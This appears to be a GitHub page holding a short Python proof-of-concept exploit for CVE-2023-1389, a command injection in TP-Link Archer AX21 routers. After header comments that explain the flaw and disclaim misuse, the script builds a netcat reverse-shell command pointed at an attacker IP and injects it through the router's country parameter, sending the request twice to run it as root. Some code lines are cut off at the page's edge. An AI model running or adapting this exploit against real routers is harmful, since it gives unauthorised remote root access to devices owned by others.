CVE-2023-1389 / archer-rev-shell.py

52 lines (44 loc) · 2.78 KB

Code Blame Raw

```
#!/usr/bin/python3
#
# Exploit Title: TP-Link Archer AX21 Unauthenticated Command Injection
# Date: 07/25/2023
# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
# Vendor Homepage: https://www.tp-link.com/us/
# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.
# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2
# CVE: CVE-2023-1389
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
#
# CVE-2023-1389 is an unauthenticated command injection vulnerability in the web
# management interface of the TP-Link Archer AX21 (AX1800), specifically, in the
# *country* parameter of the *write* callback for the *country* form at the
# "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is
# possible to run commands as root. Execution requires sending the request twice;
# the first request sets the command in the *country* value, and the second request
# (which can be identical or not) executes it.
#
# This script is a short proof of concept to obtain a reverse shell. To read more
# about the development of this script, you can read the blog post here:
# https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259
```

```
27  # Before running the script, start a nc listener on your preferred port -> run the script -> profit
28
29  import requests, urllib.parse, argparse
30  from requests.packages.urllib3.exceptions import InsecureRequestWarning
31
32  # Suppress warning for connecting to a router with a self-signed certificate
33  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
34
35  # Take user input for the router IP, and attacker IP and port
36  parser = argparse.ArgumentParser()
37
38  parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name")
39  parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP
40  parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port")
41
42  args = parser.parse_args()
43
44  # Generate the reverse shell command with the attacker IP and port
45  revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attac
46
47  # URL to obtain the reverse shell
48  url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&
49
50  # Send the URL twice to run the command. Sending twice is necessary for the attack
51  r = requests.get(url_command, verify=False)
52  r = requests.get(url_command, verify=False)
```